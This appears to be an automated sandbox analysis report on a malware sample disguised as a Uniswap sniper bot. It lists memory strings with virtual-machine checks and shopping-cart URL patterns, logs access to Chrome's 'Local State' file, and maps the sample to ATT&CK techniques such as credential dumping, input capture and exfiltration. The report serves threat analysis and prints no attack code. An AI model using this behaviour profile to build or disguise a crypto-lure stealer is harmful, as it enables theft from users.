STANDARD_GL_DESKTOP && isNvidiaIsApple() \|\| isNvidiafunctions->isAtMostGL(gl::Version(4, 1)) \|\| (functions->standard == STANDARD_GL_DESKTOP && isAMD)isAMD \|\| IsAndroid()IsAndroid() \|\| isNvidia(IsAndroid() && isQualcomm) \|\| (isIntel && IsApple())isAMD \|\| isIntelIsNexus5X(vendor, device)IsAndroid() \|\| (IsWindows() && isIntel)(IsWindows() && (isIntel \|\| isAMD)) \|\| (IsLinux() && isNvidia) \|\| IsIOS() \|\| IsAndroid() \|\| IsAndroidEmulator(functions)IsAndroid() \|\| limitMaxTextureSizeIsAndroid() \|\| (IsApple() && (isIntel \|\| isAMD \|\| isNvidia))limitMaxTextureSizeIsApple()IsAndroid() \|\| isAMD \|\| !functions->hasExtension("GL_KHR_robust_buffer_access_behavior")IsApple() && isIntel && GetMacOSVersion() >= OSVersion(10, 12, 4)IsApple() && isIntel && GetMacOSVersion() < OSVersion(10, 12, 6)IsLinux() \|\| (IsAndroid() && isNvidia) \|\| (IsWindows() && isNvidia) \|\| (IsApple() && functions->standard == STANDARD_GL_ES)IsApple() \|\| (IsLinux() && isAMD)functions->standard == STANDARD_GL_DESKTOP && functions->isAtLeastGL(gl::Version(3, 1)) && !functions->isAtLeastGL(gl::Version(4, 3))features->emulatePrimitiveRestartFixedIndex.enabled && IsApple() && isIntelIsApple() \|\| IsAndroid() \|\| IsWindows()!isIntel && functions->standard == STANDARD_GL_ES && functions->isAtLeastGLES(gl::Version(3, 1)) && functions->hasGLESExtension("GL_EXT_texture_norm16")IsWindows() && isAMDIsLinux() && isAMD && isMesa && mesaVersion < (std::array<int, 3>{19, 3, 5})(IsLinux() && isVMWare) \|\| (IsAndroid() && isNvidia) \|\| (IsAndroid() && GetAndroidSdkLevel() < 27 && IsAdreno5xxOrOlder(functions)) \|\| (IsAndroid() && IsMaliT8xxOrOlder(functions)) \|\| (IsAndroid() && IsMaliG31OrOlder(functions))IsApple() && functions->standard == STANDARD_GL_ES && !(isAMD
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67DE58000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMware Fusion 4 has corrupt rendering with Win Vista+
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMnet
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67DE58000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMware, Inc.
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Access-Control-Allow-Credentials: trueNet.RedirectChainLengthurl_chainload_state_paramdelegate_blocked_byhas_uploadis_pendingDelegateNet.URLRequest.ReferrerPolicyForRequest.SameOriginNet.URLRequest.ReferrerHasInformativePath.SameOriginNet.URLRequest.ReferrerPolicyForRequest.CrossOriginNet.URLRequest.ReferrerHasInformativePath.CrossOrigin../../net/url_request/url_request_job.ccOnDonenum_failuresrelease_after_msThrottling.RequestThrottled../../net/base/network_interfaces_win.ccWlanApiwlanapi.dllWlanQueryInterfaceWlanSetInterfaceVMnetGetAdaptersAddresses failed: x
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67DE58000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMware Inc.
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: eb1a:2860eb1a:28201ce6:282012ab:03801943:22530c45:64d00c45:64d21bcf:298504ca:704704ca:704804f2:b3ed04f2:b3ca05c8:035d05c8:036904ca:709513d3:52570bda:57f20fd9:0066VMware Virtual WebcamMedia.VideoCapture.BlacklistedDeviceGoogle Camera AdapterIP Camera [JPEG/MJPEG]CyberLink Webcam SplitterEpocCam../../media/capture/video/video_capture_metrics.ccDevice supports Media.VideoCapture.Device.SupportedPixelFormatMedia.VideoCapture.Device.SupportedResolution
Source: my2gf4tNEk.exe, 00000000.00000003.2410659082.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: (IsLinux() && isVMWare) \|\| (IsAndroid() && isNvidia) \|\| (IsAndroid() && GetAndroidSdkLevel() < 27 && IsAdreno5xxOrOlder(functions)) \|\| (IsAndroid() && IsMaliT8xxOrOlder(functions)) \|\| (IsAndroid() && IsMaliG31OrOlder(functions))
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67DE58000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Gearway Electronics (Dong Guan) Co., Ltd.VMware Inc.Olimex Ltd.
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67DE58000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Qemu Audio Device
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: lgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmcIGfE
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67DE58000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMware can crash with older drivers and WebGL content

Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67DE58000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: ../../electron/shell/browser/ui/views/electron_views_delegate_win.ccGetAppbarAutohideEdgesShell_TrayWnd
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: ?@../../third_party/webrtc/modules/desktop_capture/win/cursor.ccCreateMouseCursorFromHCursorUnable to get cursor icon info. Error = Unable to get bitmap info. Error = Unable to get bitmap bits. Error = DwmIsCompositionEnabledDwmGetWindowAttribute../../third_party/webrtc/modules/desktop_capture/win/window_capture_utils.ccFail to create instance of VirtualDesktopManagerChrome_WidgetWin_Progman

Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\bufferutil\package.json VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\bufferutil\index.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\bufferutil\package.json VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\utf-8-validate\package.json VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\utf-8-validate\index.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\utf-8-validate\package.json VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\secp256k1\package.json VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\secp256k1\index.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\secp256k1\bindings.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\secp256k1\package.json VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\secp256k1\lib\index.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\keccak\package.json VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\keccak\bindings.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\keccak\package.json VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\keccak\lib\api\index.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\keccak\lib\api\keccak.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar.unpacked\node_modules\keccak\lib\api\shake.js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui VolumeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources VolumeInformation
Source: C:\Windows\System32\tar.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\p2.zip VolumeInformation
Source: C:\Windows\System32\tar.exe	Queries volume information: C:\Users VolumeInformation

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Windows Service	1 Windows Service	11 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	11 Input Capture	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	12 Process Injection	12 Process Injection	11 Input Capture	3 Process Discovery	Remote Desktop Protocol	1 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	Binary Padding	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner
C:\Users\user\.pyp\DLLs\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\libffi-8.dll	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\select.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\sqlite3.dll	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\winsound.pyd	0%	ReversingLabs
C:\Users\user\.pyp\Lib\distutils\__init__.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\distutils\_msvccompiler.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\distutils\text_file.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\distutils\unixccompiler.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\distutils\util.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\distutils\version.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\distutils\versionpredicate.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\doctest.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\base64mime.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\charset.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\contentmanager.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\encoders.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\errors.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\feedparser.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\generator.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\header.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\headerregistry.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\iterators.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\message.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\mime\application.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\mime\audio.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\mime\base.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\mime\image.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\mime\message.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\mime\multipart.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\mime\nonmultipart.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\email\mime\text.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\importlib\__init__.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\importlib\_abc.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\importlib\_bootstrap.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\importlib\_bootstrap_external.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\inspect.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\io.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\json\__init__.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\json\decoder.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\json\encoder.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\json\scanner.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\json\tool.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\keyword.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\btm_matcher.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\btm_utils.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixer_base.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixer_util.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixes\fix_apply.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixes\fix_asserts.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixes\fix_basestring.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixes\fix_buffer.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixes\fix_dict.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixes\fix_except.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixes\fix_exec.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixes\fix_execfile.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixes\fix_exitfunc.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\lib2to3\fixes\fix_filter.py	0%	ReversingLabs

Source	Detection	Scanner	Label
https://myshop.amplify.com/cart/?$	0%	Avira URL Cloud	safe
https://ethdocs.org/en/latest/ether.html	0%	Avira URL Cloud	safe
http://hyperelliptic.org/tanja	0%	Avira URL Cloud	safe
http://cr.yp.to/djb.html	0%	Avira URL Cloud	safe
https://www.buybuybaby.com/store/cart/?$	0%	Avira URL Cloud	safe
https://secure.houseofbeautyworld.com/(	0%	Avira URL Cloud	safe
http://www.cs.ru.nl/~sjakie/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false		high
cdnjs.cloudflare.com	104.17.24.14	true	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/node-modules/urlencode	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://url.spec.whatwg.org/#concept-url-origin	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc6455#section-1.3	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#sec-atomescape	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/browserify/node-util	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.sweetwater.com/store/cart.php/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.bluetooth.com/specifications/gatt/services	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/WebBluetoothCG/web-bluetooth/blob/main/implementation-status.md	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-Atom	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.groupon.com/(checkout/)?cart/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.chromestatus.com/feature/5093566007214080	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crbug.com/510270	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://console.spec.whatwg.org/#table	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/unshiftio/ultron	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.harborfreight.com/checkout/cart/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://goo.gl/7K7WLuThe	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.wayfair.com/(	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://encoding.spec.whatwg.org/#textencoder	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://goo.gl/7K7WLu	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	false		high
https://myshop.amplify.com/cart/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3C//DTD	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/ChainSafe/web3.js/blob/8783f4d64e424456bdc53b34ef1142d0a7cee4d7/packages/web3-eth	my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/tc39/proposal-weakrefs	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://goo.gl/t5IS6M).	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-Assertion	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/google/caja/blob/HEAD/src/com/google/caja/ses/repairES5.js	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://url.spec.whatwg.org/#concept-urlencoded-serializer	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://nodejs.org/api/fs.html	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://chromium.googlesource.com/chromium/src/	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://github.com/nodejs/node/pull/21313	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://bit.ly/3rpDuEX.	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-NonemptyClassRanges	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://w3c.github.io/manifest/#installability-signals	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.midnight-commander.org/browser/lib/tty/key.c	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://nodejs.org/	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc7540#section-8.1.2.5	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://exslt.org/common	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-Hex4Digits	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.squid-cache.org/Doc/config/half_closed_clients/	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-DecimalEscape	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://c.docs.google.com/	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://store.steampowered.com/cart/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
